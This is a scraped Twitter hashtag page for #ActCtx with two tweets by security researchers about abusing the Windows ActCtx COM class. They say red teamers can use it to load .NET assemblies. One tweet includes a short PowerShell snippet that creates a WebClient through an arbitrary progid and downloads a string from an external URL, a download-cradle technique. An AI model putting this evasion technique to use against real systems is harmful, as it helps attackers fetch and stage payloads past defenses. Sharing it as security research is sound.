Top Tweets for #ActCtx

about 7 years ago

Wonder how registration-free #COM interop works and how #redteamer|s can use it to load #NET assemblies (using #ActCtx COM server in #PowerShell and #Jscript)? Read our new short blog post by @DissectMalware https://t.co/xhBrJLeSlu

Malwrologist

@DissectMalware

about 7 years ago

Mind-blowing! Abusing .Microsoft.Windows.#ActCtx class found https://t.co/c69NI7pT8M My twist: #progid can be anything, XML ASCII encoding E.g. #WebClient $dummy = $obj.CreateObject('abc') # progid $dummy.DownloadString("https://t.co/PQCv5rfaLP") https://t.co/m2BNTS7Xhn

DissectMalware's tweet photo. Mind-blowing! Abusing .Microsoft.Windows.#ActCtx class

found https://t.co/c69NI7pT8M

My twist: #progid can be anything, XML ASCII encoding

E.g. #WebClient
$dummy = $obj.CreateObject('abc') # progid
$dummy.DownloadString("https://t.co/PQCv5rfaLP")

https://t.co/m2BNTS7Xhn https://t.co/ZXq1RsfmTw

216

107

Top Tweets for #ActCtx

Last Seen Hashtags on Sotwe

Trends for you

Most Popular Users